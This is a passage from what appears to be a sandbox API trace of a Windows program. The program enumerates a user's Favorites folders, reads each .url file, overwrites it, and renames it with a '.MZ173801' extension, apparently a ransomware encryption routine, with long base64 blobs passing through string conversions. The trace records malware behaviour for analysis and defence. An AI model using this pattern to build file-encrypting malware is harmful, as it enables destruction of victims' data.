lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Links", cAlternateFileName="")) returned 1 [0144.150] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0144.150] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0144.150] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0144.150] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0144.151] GetLastError () returned 0x12 [0144.151] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0144.151] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0144.151] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0144.151] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.151] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0144.151] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.151] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.151] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.151] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Links", cAlternateFileName="")) returned 1 [0144.151] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.151] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.151] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.151] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.151] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.152] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.152] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.152] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0144.152] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.152] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.152] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec)) returned 1 [0144.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.155] GetCurrentThreadId () returned 0x9fc [0144.155] GetCurrentThreadId () returned 0x9fc [0144.155] GetCurrentThreadId () returned 0x9fc [0144.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.156] GetCurrentThreadId () returned 0x9fc [0144.156] GetCurrentThreadId () returned 0x9fc [0144.156] GetCurrentThreadId () returned 0x9fc [0144.156] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.156] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.156] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.156] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xec [0144.157] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.157] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xec, lpOverlapped=0x0) returned 1 [0144.158] CloseHandle (hObject=0x224) returned 1 [0144.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.159] WriteFile (in: hFile=0x224, lpBuffer=0x716540*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f6d0*=0xec, lpOverlapped=0x0) returned 1 [0144.160] CloseHandle (hObject=0x224) returned 1 [0144.160] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.mz173801")) returned 1 [0144.160] GetCurrentThreadId () returned 0x9fc [0144.160] GetCurrentThreadId () returned 0x9fc [0144.160] GetCurrentThreadId () returned 0x9fc [0144.160] GetCurrentThreadId () returned 0x9fc [0144.160] GetCurrentThreadId () returned 0x9fc [0144.160] GetCurrentThreadId () returned 0x9fc [0144.160] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0144.160] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.160] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.160] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2)) returned 1 [0144.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 